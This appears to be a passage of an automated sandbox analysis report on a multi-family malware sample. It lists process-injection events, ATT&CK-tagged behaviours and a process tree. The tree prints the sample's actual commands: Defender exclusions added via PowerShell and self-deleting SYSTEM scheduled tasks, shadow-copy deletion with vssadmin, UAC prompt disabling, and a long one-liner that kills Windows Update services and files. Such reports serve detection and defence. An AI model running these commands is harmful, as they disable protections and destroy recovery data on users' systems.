PID 1368 wrote to memory of 4888	1368	FgfWV8.exe	139
PID 4888 wrote to memory of 5084	4888	azRcjb.exe	142
PID 4888 wrote to memory of 2632	4888	azRcjb.exe	141
PID 4888 wrote to memory of 3040	4888	azRcjb.exe	144
PID 5084 wrote to memory of 3900	5084	cmd.exe	147
PID 4888 wrote to memory of 2824	4888	azRcjb.exe	149
PID 4888 wrote to memory of 3444	4888	azRcjb.exe	151
PID 4888 wrote to memory of 6084	4888	azRcjb.exe	154
PID 4888 wrote to memory of 2960	4888	azRcjb.exe	155
PID 3444 wrote to memory of 5068	3444	cmd.exe	158
PID 2960 wrote to memory of 4716	2960	cmd.exe	159
PID 6084 wrote to memory of 2760	6084	cmd.exe	160
PID 4716 wrote to memory of 5812	4716	net.exe	161
PID 4888 wrote to memory of 4196	4888	azRcjb.exe	162
PID 6084 wrote to memory of 5312	6084	cmd.exe	164
PID 2960 wrote to memory of 4808	2960	cmd.exe	254
PID 4196 wrote to memory of 4296	4196	cmd.exe	255
PID 6084 wrote to memory of 6128	6084	cmd.exe	168
PID 2960 wrote to memory of 764	2960	cmd.exe	169
PID 2960 wrote to memory of 2376	2960	cmd.exe	171
PID 4888 wrote to memory of 1944	4888	azRcjb.exe	170
PID 2376 wrote to memory of 3868	2376	net.exe	173
PID 1944 wrote to memory of 4232	1944	cmd.exe	174
PID 2960 wrote to memory of 900	2960	cmd.exe	175
PID 2960 wrote to memory of 5372	2960	cmd.exe	176
PID 2960 wrote to memory of 5736	2960	cmd.exe	177
PID 4888 wrote to memory of 2148	4888	azRcjb.exe	178
PID 5736 wrote to memory of 4188	5736	net.exe	180
PID 2148 wrote to memory of 1672	2148	cmd.exe	181
PID 2960 wrote to memory of 4324	2960	cmd.exe	182
PID 4888 wrote to memory of 3340	4888	azRcjb.exe	183
PID 2960 wrote to memory of 4160	2960	cmd.exe	185
PID 4888 wrote to memory of 2648	4888	azRcjb.exe	186
PID 2648 wrote to memory of 5620	2648	cmd.exe	188
PID 3340 wrote to memory of 1972	3340	cmd.exe	189
PID 2960 wrote to memory of 5352	2960	cmd.exe	190
PID 5352 wrote to memory of 3816	5352	net.exe	191
PID 3340 wrote to memory of 1568	3340	cmd.exe	192
PID 4888 wrote to memory of 2704	4888	azRcjb.exe	193

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	azRcjb.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-22_4827ced2435b0a468ca8383380e77f93_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5128

C:\Users\Public\9hQPuk\FgfWV8.exe
"C:\Users\Public\9hQPuk\FgfWV8.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\9hQPuk\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\9hQPuk\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4960
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3396
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1248
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3204
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5448
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5732
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3120
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4840
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5232
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2744
- C:\Program Files (x86)\azRcjb\azRcjb.exe
  "C:\Program Files (x86)\azRcjb\azRcjb.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4888
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2632
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3900
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3040
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2824
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3444
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5068
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\azRcjb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6084
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\azRcjb\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2760
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5312
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:6128
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4716
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:5812
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4808
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:764
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2376
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:3868
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:900
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5372
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5736
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4188
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4324
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4160
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5352
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3816
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4240
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2520
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5956
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1256
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1088
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6092
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2836
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5864
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3740
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4236
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2188
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4908
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3648
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:5548
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4196
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4296
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\azRcjb.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1944
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\azRcjb.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4232
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\azRcjb.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\azRcjb.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1672
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1972
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1568
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:264
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\azRcjb.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2648
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\azRcjb.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5620
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2704
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6124
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3684
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3864
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2676
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4584
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1764
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1924
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5596
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4784
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1156
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3044
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2236
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1296
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
